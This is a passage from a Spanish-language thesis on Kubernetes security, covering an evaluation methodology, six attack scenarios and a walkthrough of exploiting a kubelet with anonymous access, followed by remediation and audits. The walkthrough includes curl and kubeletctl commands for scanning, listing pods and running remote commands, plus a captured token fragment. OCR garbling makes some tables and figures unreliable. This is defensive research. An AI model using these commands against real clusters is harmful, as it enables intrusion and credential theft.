para Kubernetes [210], ya sea tanto para clusters en las propias instalaciones (on-premise)
como para soluciones administradas en la nube (EKS, GKE, etc.).
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Tabla 4. Compendio de buenas practicas de seguridad en Kubernetes.

Medida Area Tipo




RNTM_SVCM_01 RNTM Proactivo (Runtime)
RNTM_SVCM_02 RNTM Proactivo (Runtime)
RNTM_SVCM_03 RNTM Proactivo (Runtime)
RNTM_SVCM_04 RNTM Proactivo (Runtime)
RNTM_SVCM_05 RNTM Proactivo (Runtime)
RNTM_IPS 01 RNTM Proactivo (Runtime)
RNTM_IPS_02 RNTM Proactivo (Runtime)
RNTM_OBSV_01 RNTM Proactivo (Runtime)
RNTM_OBSV_02 RNTM Proactivo (Runtime)
RNTM_OBSV_03 RNTM Proactivo (Runtime)

El compendio de buenas practicas de seguridad resumido en la Tabla 4, sera el utilizado
como referencia para la evaluacion de su eficacia e impacto en diversos escenarios reales
cuidadosamente disefiados, lo cual se aborda a continuacion en el capitulo dedicado al
disefio experimental.



11. Disefio experimental

Una vez realizado el estudio sobre los posibles enfoques para la seguridad en Kubernetes,
resulta necesario disefiar y posteriormente llevar a cabo un protocolo de experimentacion
gue permita la evaluacién del impacto y la eficacia de las medidas propuestas en diversos
escenarios propuestos.

Para lograr dicho propésito, ser4 necesario definir, configurar y desplegar un cluster de
Kubernetes tanto con configuraciones por defecto, como con otras utilizadas cominmente
en la industria que puedan aumentar la superficie de ataque ante posibles amenazas. La
eficacia y seguridad efectiva de las medidas y recomendaciones propuestas en los distintos
escenarios de prueba disefiados, seran evaluadas en su conjunto para determinar la
efectividad en la seguridad de un cluster de Kubernetes.

La primera parte del capitulo estd dedicada a la presentacion de la metodologia propuesta
para la validacion de la efectividad de las medidas propuestas mediante el protocolo que ha
sido definido. Luego, se define el contexto y los objetivos perseguidos en cada uno de los
escenarios propuestos, asi como las medidas de seguridad propuestas para su remediacién
y mitigacién. A continuacién, nos adentramos en cada uno de los escenarios donde se
realiza un estudio detallado de sus deficiencias y del impacto de las medidas de seguridad
propuestas. Finalmente, se presentan las conclusiones parciales a los resultados obtenidos
en este capitulo.

11.1. Metodologia de evaluacion propuesta

Una metodologia de evaluacion formaliza el proceso y pasos necesarios para valorar de
manera objetiva, ya sea desde el punto de vista cualitativo y/o cuantitativo, una propuesta
de solucién al problema planteado.

Para realizar el proceso de evaluacién de la seguridad del sistema propuesto, resulta
necesario definir una metodologia concisa y robusta que nos permita analizar, de la manera
mas objetiva posible, el impacto real de las medidas de seguridad propuestas en cada uno
de los escenarios.

11.1.1. Protocolo de validacion

La metodologia o protocolo de validacién propuesto sera aplicado a un conjunto de casos
de uso, 0 en otras palabras, escenarios de ataque propuestos en una seccion posterior. A
continuacién se describen las fases de la metodologia propuesta:

11.1.1.1. Fase 1: Configuracion inicial del cluster

Se tomara como linea base para la comparativa un cluster configurado incorrectamente y/o
sin alcanzar los niveles recomendados para una configuracion segura. En el cluster de
prueba citado, se desplegaran los escenarios de ataque propuestos (mediante workloads de
Kubernetes) que pueden ser vulneradas aprovechando distintos attack paths [393].

11.1.1.2. Fase 2: Evaluacion inicial de la seguridad

Una vez definido y desplegado nuestro cluster vulnerable, la siguiente fase consiste en la
valoracion tanto cualitativa como cuantitativamente de nuestro cluster. Para ello, resulta



necesario definir una propuesta de validacion que ofrezca una nocion de la “seguridad”
completa e integrada de un cluster de Kubernetes.

El andlisis cualitativo y cuantitativo del cluster estara basado en los resultados obtenidos por
las herramientas utilizadas en las distintas auditorias a llevar a cabo. Ejemplo de estos
resultados pueden ser el nimero de vulnerabilidades encontradas, el nivel de cumplimiento
con guias de seguridad como las de CIS, entre otros. Dichas auditorias se centraran en los
siguientes aspectos:

Auditoria desde la perspectiva de un blue team [394].

Auditoria desde la perspectiva de un red team [394].

Auditoria de los workloads desplegados.

Auditoria de la seguridad de la red.

Las &reas citadas sobre las que se centrard el analisis se dividen en dos categorias
relevantes: capa de infraestructura y capa de aplicacién. Las auditorias blue team y red
team se enfocan en la seguridad de la infraestructura del cluster, mientras que por otro lado,
las auditorias de los workloads y de red se enfocan primordialmente en la capa de
aplicacion, lo que recae mayormente en requerimientos propios de cada situacion.

A continuacion se describen las pautas para realizar cada una de las auditorias antes
mencionadas.

Auditoria blue team:

Esta auditoria se enfocara en la evaluacion de criterios de cumplimiento y conformidad con
las buenas précticas definidas por la industria para Kubernetes. Especificamente, se tomara
como medio de comparacion los CIS Benchmarks para Kubernetes (v1.6.0) [210].

Existen diversas herramientas de diagndstico para evaluar el estado de un cluster, pero
algunas como Sonobuoy [395] no seran utilizadas en este apartado pues se centran en
tareas de conformidad para certificar distribuciones de Kubernetes por la CNCF [396].

Para determinar el cumplimiento y conformidad con los CIS Benchmarks para Kubernetes
usaremos la herramienta kube-bench [397], aunque también seria posible usar otras con el
mismo propdsito como kubernetes-cis-benchmark [398], [399], del proveedor Neuvector
[386].

Auditoria red team:

Esta auditoria se centrara en la evaluacion del nivel de seguridad atendiendo a los
problemas y vulnerabilidades mas comunes presentes en un cluster de Kubernetes, ya sea
por deficiencias en la fase de instalacion como en la configuracion del mismo.

La herramienta utilizada en este caso, serd kube-hunter [400], la cual permite determinar
fallas de seguridad en clusters de Kubernetes. kube-hunter también puede ser utilizado para
realizar un pentesting de tipo black-box a nuestro cluster [401], lo cual resulta de gran
utilidad para simular un potencial ataque a nuestra infraestructura.

Auditoria de workloads:

A diferencia de las dos auditorias anteriores, esta auditoria se centra en el plano de las
aplicaciones de usuario desplegadas en el cluster mediante workloads. En un ambiente de
Kubernetes aprender a crear la configuracion de workloads es un reto en si, y tener
presente los aspectos relacionados con la seguridad en la configuracion agrega un nivel
extra de complejidad. Es por ello que el andlisis de la seguridad de los workloads en
Kubernetes es de primordial importancia.



La configuracién de nuestras aplicaciones en Kubernetes tipicamente se realiza mediante
cédigo, independientemente de que usemos YAML, Helm Charts u otras herramientas de
plantillas. La configuracibn como cédigo (CaC) [402], [403], afecta a la seguridad de
Kubernetes asociada a como debe ser ejecutado un workload y las capacidades que tendria
un atacante en caso de una brecha de seguridad.

Para estos propésitos existen diversas herramientas auditoras de laC [404]. Entre las mas
conocidas se encuentran kube-scan [192], Polaris [190], kubeaudit [405], Checkov [147],
[148] y kubei [406]. Debido a su simplicidad y facilidad de uso, solo utilizaremos kube-scan,
Polaris y Checkov.

Auditoria de red:

Como ultima linea de defensa, debemos asegurarnos que a nivel de reglas de negocio, la
separacion entre las distintas capas de la aplicacion esta bien implementada a nivel de red.
Comunmente, la validacién se realiza mediante el escaneo de puertos (usualmente con
Nmap [407]) por equipos de pentesting.

Tradicionalmente, la tarea de segmentacion de la red divide a la red en segmentos de red
mas “pequefios”. Agrupa y aisla aplicaciones o sistemas en subredes atendiendo a diversos
criterios [408]. Mediante dicha segmentacién se reduce el riesgo y las amenazas de
diversas maneras, entre ellas: evitar el trafico de red no autorizado y/o que ataques
alcancen areas de alta seguridad.

En nuestro caso se usan las politicas de red de Kubernetes para adaptar las metodologias
tradicionales de segmentacion de red a Kubernetes. Existen herramientas en la literatura
como netassert [409], pero su dependencia con Docker [410] influyd en que se seleccionara
otra herramienta: illuminatio [411].

La auditoria se centrard en la seguridad interna de la red dentro del cluster, ya que el
desplazamiento lateral es una de las estrategias contempladas en la matriz de ataque para
Kubernetes [120]. El propdsito sera el de evaluar la conformidad de las politicas de red con
el trafico de red deseado que ha especificado el usuario.

11.1.1.3. Fase 3: Remediacion y Mitigacion

Después de realizar las distintas auditorias mencionadas en nuestro cluster vulnerable,
procedemos a realizar un proceso de remediacién y/o mitigacion de las vulnerabilidades
encontradas [412]. El propdsito en esta fase es el de seleccionar y aplicar a nuestro cluster
(e.g. workloads, etc.), medidas de seguridad anteriormente definidas en este trabajo (ver
Capitulo 10) y gue dependen en cada caso del escenario de ataque propuesto.

Dichas medidas de seguridad pueden variar desde una mejora en la configuracion de los
componentes del cluster (kube-apiserver, kubelet, etc.) hasta la implantacion de
mecanismos y/o herramientas (politicas de red, Falco, Istio, etc.) para mejorar la “seguridad”
de nuestro cluster.

11.1.1.4. Fase 4: Evaluacion de la seguridad post-mitigacion

Una vez concluido el paso anterior, se vuelve a aplicar el método de valoracion cualitativo
cuantitativo definido en la Fase 2. Los resultados obtenidos se reportaran y documentaran
de la misma manera que en la Fase 2 para poder establecer una comparativa.




11.1.1.5. Fase 5: Analisis de los resultados

La fase final consiste en el analisis de los resultados obtenidos. La validacion de la calidad
ylo “seguridad” del cluster se analizara atendiendo a las 2 categorias relevantes (capa de
infraestructura y capa de aplicacion) mencionadas en la Fase 2.

11.1.2. Prototipo de cluster para experimentacion

Para validar la metodologia propuesta en la seccién anterior, es necesario realizar el disefio
y despliegue de un prototipo de cluster para tareas de experimentacion. En dicho cluster se
llevardn a cabo tanto los escenarios de ataque propuestos, como las remediaciones
producto de la implantacion de las familias de medidas de seguridad propuestas en este
trabajo (ver Capitulo 10).
Debido a la gran complejidad de una plataforma de orquestacién como Kubernetes, realizar
un andlisis exhaustivo de todas las posibles amenazas y de aun mayor cantidad de
mecanismos de proteccidn, resulta impracticable debido a la gran superficie de ataque de la
misma.
Una vez realizada una auditoria de seguridad, es momento de comenzar a realizar mejoras.
Pero, ¢por dénde comenzar?.
Al igual que recomienda CIS en su whitepaper [413], aplicaremos el Principio de Pareto
para ayudar a priorizar las acciones de proteccion del cluster en materia de ciberseguridad.
En nuestro trabajo, nos centraremos en ese 20% de areas y componentes criticos en
nuestro cluster que son responsables de aproximadamente el 80% de los problemas de
seguridad.
Las tres grandes &reas determinadas en este trabajo para hacer frente a la mayoria de
problema de seguridad son las siguientes:

e La capa de infraestructura: componentes claves en el funcionamiento del cluster.

e La capa de aplicacién: workloads y la comunicacion de red de las aplicaciones.

e Proteccion en tiempo de ejecucién: mecanismos activos de proteccién ante un

inminente incidente de seguridad.

11.1.2.1. Configuracion del cluster

El prototipo de cluster vulnerable utilizado consta de tres nodos, un plano de control y dos
nodos worker, y se basa en una instalacion por defecto de KinD [70] (ver Figura 31).
Adicionalmente, se han realizado configuraciones en los elementos clave que mas impacto
tienen en la seguridad de Kubernetes.

El fichero de configuracion utilizado en nuestras pruebas se puede encontrar en los
materiales adjuntos del trabajo (ver a continuacion).

material-adjunto/attack-scenarios/vulnerable-cluster-config.yaml



Figura 31. Arquitectura del prototipo de cluster vulnerable. (Fuente: aquasec.com)

Respecto a la configuracion de los workloads y de la comunicacion de red, en caso de ser
necesarios, se disefiaran y detallardn en cada escenario de ataque atendiendo a los attack
paths y las vulnerabilidades presentes en dichos escenarios.

11.2. Escenarios de ataque propuestos

A continuacién se enumeran y describen los escenarios de ataque que han sido disefiados
como conjunto de prueba para la evaluacién de las familias de medidas de seguridad
propuestas en el capitulo anterior. Ademas, se proporciona una visién general del contexto
en el que se enmarca cada escenario de ataque y de la seleccién de medidas de seguridad
gue pueden ser aplicadas para su remediacion y/o mitigacién. Finalmente, se ofrece a modo
de resumen una tabla comparativa para determinar el cubrimiento de las medidas aplicadas
sobre el compendio de medidas de seguridad propuesto en el capitulo anterior.

11.2.1. Escenario 1: Atacando un kubelet vulnerable

En este escenario se tiene al kube-apiserver con una autenticacion correctamente protegida
mediante el uso de mTLS [414]. Sin embargo, el kubelet ha sido configurado utilizando los
parametros por defecto y como resultado, su API esta accesible al atacante producto de una
mala configuracion de la infraestructura en la nube (falta de segmentacion de la red, reglas
permisivas en el firewall, etc.).

El servicio del kubelet usualmente escucha en el puerto 10250/TCP y solo deberia estar
disponible para la comunicacién interna del cluster (kube-apiserver - kubelet), pero en
nuestro caso, esta accesible desde fuera. Esto representa un grave problema, ya que el
atacante podria encontrar servicios de kubelet vulnerable buscando en herramientas como
Shodan [415], [416].



Para la correcta remediacion y mitigacion en este escenario, basta con aplicar la familia de
medidas propuesta KUBE_INFR_02.

11.2.2. Escenario 2: Desplazamiento lateral por baja seguridad en la red

En este escenario se tiene un cluster configurado apropiadamente desde el punto de vista
de la infraestructura, pero presenta un workload con diversas vulnerabilidades y ademas
deficiencias en la seguridad de la red referente a la aplicacion del usuario.

El propésito de este escenario de ataque es mostrar la importancia de asegurar areas clave
como los workloads (aplicaciones del usuario) y la segmentacién de la red en un ambiente
de Kubernetes.

El objetivo del escenario es que el atacante logre un acceso inicial al cluster y luego, debido
a la baja seguridad en la red, pueda realizar un desplazamiento lateral e incluso lograr la
comunicacion hacia fuera del cluster, lo cual representa una amenaza seria en sistemas
donde el cumplimiento con la RGPD [417] o HIPAA [418] sea primordial.

En este escenario, las medidas de remediacion aplicables se dividen en tres grupos:
proteccidbn de los workloads (KUBE_WRKL_04, KUBE_WRKL_05, KUBE_WRKL_06,
KUBE_WRKL_07, KUBE_WRKL_08), la red (KUBE_WRKL_04d, KUBE_WRKL_04e,
KUBE_WRKL_04f) y la cadena de suministro de software (KUBE_WRKL_08).

11.2.3. Escenario 3: Explotando Service Accounts con exceso de
privilegios

El presente escenario esta basado en el escenario anterior, donde se realiza un ataque de
desplazamiento lateral aprovechando la baja seguridad en la red del cluster. En este caso,
el atacante usard a su favor los Service Accounts que cuenten con exceso de privilegios con
diversos propositos como desplazamiento lateral, acceso a informacion sensible del cluster
como son los Secrets, escalado de privilegios, entre otros.

El objetivo perseguido con este escenario de ataque es evidenciar la importancia de llevar a
cabo buenas practicas de seguridad en el sistema primario de autorizacion de Kubernetes:
el médulo de RBAC. Aungque estamos en presencia de un escenario complejo, el ataque se
centrard en la exploracion y explotacién del cluster aprovechando los Service Accounts con
excesos de privilegios utilizados en los workloads.

Las medidas de remediacion y/o mitigacion que son apropiadas en este escenario permiten
primeramente el bloqueo de acciones maliciosas, proteccién de los workloads y de la red
(RNTM_IPS_01, KUBE_WRKL_04). También abarcan la proteccion los datos sensibles de
la infraestructura y las aplicaciones (KUBE_INFR_03, KUBE_INFR_06, KUBE_WRKL_03).
Finalmente, es necesario implantar una buena configuracion de RBAC (KUBE_WRKL_01,
KUBE_WRKL_02) y dificultar las acciones de los atacantes (KUBE_INFR_05).

11.2.4. Escenario 4: Atague Man-in-the-Middle (MITM) via
CVE-2020-8554

En este escenario, se har4 uso de la vulnerabilidad CVE-2020-8554 [419], [420], que
permitiria realizar un ataque de Man-in-the-Middle (MITM). Este problema de seguridad

afecta a todas las versiones de Kubernetes (v1.0-1.20), mayormente a los clusters
multi-tenant (es decir, con multiples usuarios) ya que un potencial atacante esta habilitado



para crear o editar/actualizar servicios y pods, pudiera ser capaz de interceptar el trafico de
otros pods (o nodos) en el cluster [421].

La remediacion y mitigacion para este escenario va desde la implantacién de proteccion en
tiempo de ejecucion (RNTM_IPS_01, RNTM_OBSV_02) hasta la aplicacion de politicas de
control de recursos a ser desplegados en el cluster (KUBE_INFR_01d, KUBE_INFR_01e).
Otro aspecto considerado son acciones complementarias para mantener la buena salud del
cluster (KUBE_INFR_04, KUBE_INFR_07).

11.2.5. Escenario 5: Amenazas internas (administrador malicioso)

El presente escenario muestra el impacto que puede tener en la organizacion las acciones
maliciosas de un actor/administrador corrupto. El presente escenario se clasifica dentro del
apartado de amenazas internas (insider threats), una de las mayores amenazas a las
aplicaciones en la nube en la actualidad segun [422]. De manera adicional, este escenario
es de gran utilidad para estudiar como pueden contribuir las mallas de servicio como una
capa adicional de seguridad en Kubernetes.

El actor corrupto puede ser un empleado antiguo o actual, consultores, etc. Dichos actores
operan en un circulo de confianza con acceso a redes, sistemas e informaciéon sensible de
la organizacion [423].

En este caso el atacante, ya sea un actor interno malintencionado o un actor externo con
acceso a credenciales de administracion del cluster, puede escalar el ataque en diversas
direcciones. Las credenciales antes mencionadas otorgan permisos de administracion del
cluster, pero no otorgan el permiso para operar mallas de servicio como Istio (ver Figura
32).
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4= Config

Business
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*CCC = Cross Cutting Concerns
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ccc* = Traffic Metrics, Routing, Retry, Timeout, Circuit Breaking, Encryption, Decryption, Authorization, ...

Figura 32. Las mallas de servicio como capa de abstraccién.
(Fuente: servicemesh.es)

Las estrategias de remediacion y mitigacion para este escenario recaen principalmente en
la aplicacién extensiva de politicas de autorizacion (RNTM_SVCM_03, RNTM_SVCM_04)
de forma complementaria a una malla de servicios (RNTM_SVCM_04, RNTM_SVCM_05).



Otros factores adicionales que contribuyen son la observabilidad (RNTM_OBSV_01) y la
proteccién de las comunicaciones (RNTM_SVCM_01).

11.2.6. Escenario 6: Ataque de trafico malicioso externo

El objetivo de este escenario es mostrar un ejemplo practico de cobmo un atacante externo
podria elegir como blanco nuestro cluster de Kubernetes. Las aplicaciones desplegadas en
la infraestructura (workloads) no presentan vulnerabilidades y cuyo Unico vector de ataque
es estar expuestas a Internet.

En este caso, el Unico recurso que puede utilizar el atacante es el envio de trafico (externo)
malicioso hacia nuestra infraestructura. Si bien parte de estos ataques de trafico malicioso
pueden ser mitigados mediante software y hardware a nivel de capa L3-L4 (firewalls, etc.),
este escenario se centrara a nivel de capa L7.

Al igual que en varios escenarios anteriores, resulta necesario restringir las capacidades de
los workloads (KUBE_WRKL_04) y el uso de politicas de autorizacion (RNTM_SVCM_04) y
de la observabilidad (RNTM_OBSV_03) mediante una malla de servicios. Finalmente, un
aspecto clave para la remediacion y mitigacién en este escenario es el uso de estrategias
de control de trafico avanzadas (RNTM_SVCM_02) ante ataques maliciosos desde el
exterior.

11.3. Experimentacion y evaluacion de resultados

A continuacién, se presentaran los distintos escenarios de ataque propuestos para la
validacién de nuestra propuesta. Dicho conjunto de escenarios, ha sido seleccionado
minuciosamente con el propésito de garantizar la mayor cobertura posible sobre la matriz de
ataque para Kubernetes de Microsoft [120], la cual a su vez estéd basada en el framework de
MITRE ATT&CK® [119].

Para cada ataque se analizara el attack path empleado por el atacante y su cubrimiento de
las areas de interés propuestas en el framework de MITRE ATT&CK®. Para el caso
particular de Kubernetes, haremaos uso de la versién actualizada de la matriz de ataque de
Microsoft [121].

11.3.1. Atacando un kubelet vulnerable

11.3.1.1. Contexto y objetivos

En una instalacion por defecto de Kubernetes, el kubelet se ejecuta sin proteccion, siendo
vulnerable a un ataque. El motivo por el cual no esta protegido es que por defecto, el
parametro --anonymous-auth=true es el usado. Por tanto, las peticiones a los endpoints
del API del kubelet son procesadas como peticiones andnimas. Esto implica que dichas
peticiones serdn posteriormente autorizadas porque el modo de autorizacion por defecto es
--authorization-mode=AlwaysAllow *.

La documentacion de Kubernetes [181] ofrece muy poca documentacién del API, aunque
revisando el cédigo fuente en [424], es posible determinar los endpoints de la misma [425].
Entre los endpoints mas atractivos desde el punto de vista de un atacante serian:

e /pods - listar pods en ejecucion

1% Herramientas como kubeadm configuran el cluster basado en buenas practicas de seguridad por
defecto.



e /run - ejecutar un comando en un contenedor
/exec - ejecutar un comando en un contenedor utilizando un flujo
/cri - ejecutar un comando en un contenedor después de que un flujo fue abierto
por /exec
Para comunicarse con los endpoints del API es posible utilizar curl [426]:

curl -k -X <method> https://<node_ip>:10250/<api_command>/<sub_command>

por ejemplo, para listar los pods podriamos hacer.
curl -k -X GET https://<node-ip>:10250/pods | python -m json.tool

No obstante, en nuestro ataque haremos uso de la herramienta kubeletct! [427], la cual
implementa el API del kubelet y permite realizar peticiones mas avanzadas que las que se
pueden realizar con curl. El ataque consistira de dos etapas fundamentales:

1. Etapa de descubrimiento y reconocimiento

2. Etapa de explotacion

Descubrimiento y reconocimiento

Para el descubrimiento, procedemos a buscar nodos con el puerto del kubelet abierto,
donde podemos usar Shodan o escanear un rango de direcciones IP mediante el comando
kubeletctl scan (ver Figura 33).

En cada uno de esos IPs, se puede llevar a cabo una tarea de reconocimiento mediante la
inspeccion de la configuracion del kubelet vulnerable como se puede observar en la Figura
34. Esta inspeccién constituye una gran amenaza, ya que el atacante puede replicar el
estado exacto del componente a partir de su configuracion y por tanto, seria mas mucho
mas facil su vulneracion.

Partiendo de un kubelet vulnerable producto de una configuracién deficiente, la siguiente
accion que puede llevar a cabo un atacante es listar los pods y contenedores en ejecucion
en el nodo victima seleccionado (ver Figura 35).

Finalmente, una vez que un atacante se ha hecho con informacién sensible de los pods y
sus contenedores, resulta légico intentar realizar una ejecucion de comandos dentro de los
mismos. Dichas acciones se llevan a cabo a continuacion.

ryuzakyl@matrix:~-$ kubeletctl -i scan --cidr 172.18.0.08/24

Modes with opened Kubelet AP
I

NODE IP

https://172.18.0.3:108250

1
https://172.18.0.2:18250

https://172.18.0.4:10258

Figura 33. Escaneo de direcciones IP buscando un kubelet vulnerable.



ryuzakyl@matrix:~%$ [ -i -5 172.18.8.3 configz | head -n 27

{

"kubeletconfig": {
"enableServer": true,
"staticPodPath": "/etc/kubernetes/manifests”,
"syncFreguency": "1lm@s",
"fileCheckFrequency": "20s",
"httpCheckFrequency": "28s",
"address": "0.8.0.0",
"port": 18258,
"tlsCertFile": "/var/lib/kubelet/pki/kubelet.crt”,
"tlsPrivateKeyFile": "/var/lib/kubelet/pki/kubelet.key",
"rotateCertificates": true,
"authentication": {
"x5609": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt”
}r
"webhook": {
"enabled": true,
"cacheTTL": "2m@s"
.
"anonymous": {
"enabled”: true
}
|
"authorization": {
"mode": "AlwaysAllow",
"webhook": {

Figura 34. Obtener configuraciéon de un kubelet vulnerable.

ryuzakyl@matrix:~$ kubeletctl -i -s 172.18.8.3 pods

Pods from Kubelet

. NAMESPACE CONTAINERS

kube-proxy-86wbq | kube-system | kube-proxy

kindnet-7mjrb kube-system

Figura 35. Listando los pods de un kubelet vulnerable.

Explotacion

Con kubeletctl es posible realizar un escaneo a los contenedores para determinar si es
posible explotar una vulnerabilidad de tipo Remote Code Execution (RCE), es decir, lograr la
ejecucién de codigo de manera remota:



Figura 36. Listando los pods y contenedores vulnerables a RCE.

y seleccionar el pod victima sobre el cual ejecutarlo.

: i0 SUZIlNlISImTp._ j LLSFISQVN3VTNTSW1pc1ASaeMaW]j FFek1lYj ZwUWVtNW1qYjgifQ. eyJhdwQi0lsiaHREcH
HﬁqurdHchmﬁlthLL 1ZmF1bHQuc3Z 1LmN5diN ZXTubG9j YWwiXSwiZXhwIjoxNjU2MjcyMzg3LCIpYXQi0jE2MjQ3MzYz0DcsImlzcyI
6Imh@dHBz0i8va3ViZXJuZXR1lcySkZWZhdwWxOLnN2Yy5jbHVzZdGVyLmxvY2FsIiwia3ViZXJuZXR1lcy5pbyI6eyJuYWllc3BhY2Ui0ilrdwll
LXN5c3R1bSISInBvZCI6eyJuYW1lIjoia2luZG51dCO3bWpyYiIsInVpZCI6GIMEXYzdi0GY3LTZiZjUtNDUYNC1iZTgzLWISZjZhoTMyZjRKO
CJoLClz aHNl\WN]b3UudCIﬁPvJu\w1lI101a21u’h51dCIsInUpZCIﬁI1IL ZMFLLTcINTgtNDIXYSO4NDRILWI1YTLhZTgONDIBMS
JOLCI3YXIUYWZOZXIi0jE2M]Q3Mzk50TROLCIUYMYi0]E2MjQ3MzYZz0DCcSINNLIYII6INNSCc3R1LbTpzZXI2aWN1YWNjb3VudDprdwl1LXNSc3R
lepraI'."il\bm".fBInB 622m6j z4WIEBKH41 B7jUNLEPBi02]j9TXBT846AmD]jIHpIFs3qjoZ85CzdaNsDELSVrzY rdPFPWEUS rVSKMWNBT3uypG
JZYNZZVwiu- FDnTow POS]O\SLhﬁan4H01h1DK8nOPNPuwFTHBa5eon01ulTaEq1HETOBIHHthnODHUflckojﬁﬁIzlv _yv2XHj31pUjBTe7
bCBwHuu L-y10eMMRTUS5 riNaphQ4kf j -eUUiReqLDZmE]YVERWO9FkBBRALKeaQL05a6954cn809eMzPtdYO0SnuUVCE-Xv2Dvihl rHgwF
CV7S1gWgwWLyhfUUKfKex1CGgmpaedQdwryuzakyl@matrix:~$ ||

Figura 37. Acceso al Service Account en un pod mediante kubelet vulnerable.

11.3.1.2. Impacto en MITRE ATT&CK®

Producto de este escenario de ataque, las areas impactadas (Figura 38 en rojo) de MITRE
ATT&CK® fueron: Discovery, Execution y Credential Access. Un actor malicioso pudiera
continuar el ataque intentando acceder al kube-apiserver, o intentando alguna estrategia de
escalado de privilegios (Figura 38 en naranja) [416], [426], [428].

Initial Access Persistence Privilege Defense Credential Discovery Lateral Collection Impact
Escalation Evasion Access movement

Using Cloud Privileged container Clear container List K8S secrets Access the K85 Access cloud Images from a EomeEnreim
credentials logs API Server resources private registry
Cl:_lmproml_sed bashicmd inside Writable hostPatl Me Container service Resource
images in . o S
2 container mount evi principal account Hijacking
registry
g - Kubernetes Pod/contain = Cluster internal Denial of
Kubeconfig file ~ New container Cranjob hostPath mount name similarity Network mapping networking Service (DoS)
Application Application Mallf:lu_us Access cloud Connect from a Appllca_uon_s CEEEEs Appllcgﬂon_s
vulnerability exploit (RCE) Admission —— Be—— credentials in Kubernetes credentials in
P Controller proxy configuration files Dashboard configuration files
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) . identity credential ~ Metadata API
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Sidecar injection Admission Cofszlziﬁs
Controller po g
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Figura 38. Impacto del escenario 1 en MITRE ATT&CK®.



11.3.1.3. Auditoria pre-mitigacion

Auditoria blue team:
El andlisis de la herramienta kube-bench, tanto para el plano de control como para un nodo
worker, fue ejecutado de la siguiente manera (ver Tabla 5).

$ cd
material-adjunto/attack-scenarios/@1-abusing-vulnerable-kubelet/audit

# cumplimiento y conformidad para el plano de control
$ kubectl apply -f blue-team/job-master.yaml

# cumplimiento y conformidad para un nodo worker
$ kubectl apply -f blue-team/job-node.yaml

Tabla 5. Escenario 1. Conformidad con CIS Benchmarks (pre-mitigacién).

Nodo PASS FAIL WARN | Detalles
Plano de Checks en estado FAIL:
control 1.1.12,1.2.6,1.2.16, 1.2.21, 1.2.22,
1.2.23,1.2.24,1.2.25,1.3.2,1.4.1
44 10 11
Checks en estado WARN:
1.1.9,1.1.10,1.2.1,1.2.10, 1.2.12,1.2.13,
1.2.26,1.2.33,1.2.34,1.2.35,1.3.1
Nodo Checks en estado FAIL:
worker 42.1,42.2,4.2.6
17 3 3

Checks en estado WARN:
429, 4.2.10,4.2.13

A pesar de encontrar algunos problemas de configuracién en el nodo del plano de control,
mayormente se recomendd fortalecer la configuracién del kube-apiserver. En el caso del
nodo worker, los controles en estado FAIL, recomiendan configurar apropiadamente los
flags - -anonymous-auth y --authorization-mode para proteger el kubelet.

Auditoria red team:

Utilizaremos la herramienta kube-hunter en 2 escenarios principales desde el punto de vista
del atacante: desde fuera y desde dentro del cluster. El primer caso simula el escenario
donde un atacante no ha logrado vulnerar nuestro cluster, mientras que en el segundo caso
modela el escenario donde el atacante ya ha vulnerado el cluster.

Para realizar un escaneo desde fuera al cluster ejecutamos el siguiente comando (ver Tabla
6).

# anadlisis externo con kube-hunter en la interfaz de red kind
$ docker run -it --rm --network kind aquasec/kube-hunter




Tabla 6. Escenario 1. Escaneo externo con kube-hunter (pre-mitigacion).

Nodo Vulnerabilidades Detalles
Los problemas encontrados caen en la categoria de
Information Disclosure y, como también era de
esperar, en la categoria de RCE debido a un kubelet
Plano de 9 mal configurado.
control
Vulnerabilidades encontradas:
KHV040, KHV036, KHV052, KHV046, KHV045,
KHV043, KHV038, KHV037, KHV002.
Coinciden los problemas con el nodo del plano de
control, a excepcion de la vulnerabilidad con ID
Nodo o KHV002.
worker

Vulnerabilidades encontradas:
KHV040, KHV036, KHV052, KHV046, KHV045,
KHV043, KHV038, KHVO037.

Para un escaneo interno al cluster, utilizamos las siguientes instrucciones (ver Tabla 7).

$ cd

material-adjunto/attack-scenarios/@l1l-abusing-vulnerable-kubelet/audit

# creando un job para ejecutar el analisis de kube-hunter
$ kubectl apply -f material-adjunto/audit/red-team/job.yaml

# obtener los logs del pod creado por el job anterior
$ kubectl logs -f kube-hunter-<id>

Tabla 7. Escenario 1. Escaneo interno con kube-hunter (pre-mitigacién).

Nodo Vulnerabilidades Detalles
Este escaneo despliega un pod, el cual no se
rograma en el plan ntrol por def .
Plano de 0 programa en el plano de control por defecto
control N . .
En una mas profunda, podria pensarse en
programarlo también en el plano de control.
Los problemas coinciden con los del escaneo externo
al cluster. No obstante, hay 3 nuevas vulnerabilidades
de tipo Access Risk asociadas con el acceso a
Nodo 10 Secrets, Service Accounts, etc.
worker

Vulnerabilidades encontradas:
KHV040, KHV036, KHV052, KHV046, KHV045,
KHV043, KHV038, KHV050 y locales al pod.




Auditoria de workloads:
N/A

Auditoria de red:
N/A

11.3.1.4. Remediacion y Mitigacion

Una primera estrategia para mitigar este ataque es utilizar herramientas conocidas como
kubeadm [429] y Kops [430] para desplegar el cluster. También es recomendado utilizar
servicios de Kubernetes administrado como AWS EKS, Azure AKS, Google GKE, etc. Estas
alternativas estan disefiadas con una arquitectura de defensa en profundidad evitando en
muchos casos este tipo de problemas.
En caso de que utilicemos la instalacién por defecto de Kubernetes o necesitemos constatar
que la configuracion del servicio de kubelet es correcta [181], se recomienda aplicar la
familia de medidas propuesta KUBE_INFR_02. Los cambios a realizar son [426]:
e Deshabilitar peticiones andnimas al kubelet utilizando - -anonymous-auth=false.
e No permitir todas las peticiones y habilitar la autorizacion (AuthZ) de manera
explicita mediante - -authorization-mode=Webhook.
e Aplicar una politica de minimos privilegios para todos los Service Accounts mediante
RBAC.

11.3.1.5. Auditoria post-mitigacion

Las auditorias se realizaran utilizando exactamente del mismo modo que en la fase anterior
de pre-mitigacién. A continuacién se muestran los resultados.

Auditoria blue team:
La herramienta kube-bench arrojo los siguientes resultados (ver Tabla 8):

Tabla 8. Escenario 1. Conformidad con CIS Benchmarks (post-mitigacion).

Nodo PASS FAIL WARN Detalles

Plano de Checks en estado FAIL:

control 1.1.12,1.2.6,1.2.16,1.2.21, 1.2.22,
1.2.23,1.2.24,1.2.25,1.3.2,1.4.1

44 10 11

Checks en estado WARN:
1.1.9,1.1.10,1.2.1,1.2.10,1.2.12,1.2.13,
1.2.26,1.2.33,1.2.34,1.2.35,1.3.1

Nodo *Ya no existen los checks en FAIL.

worker 20 0 3

Checks en estado WARN:
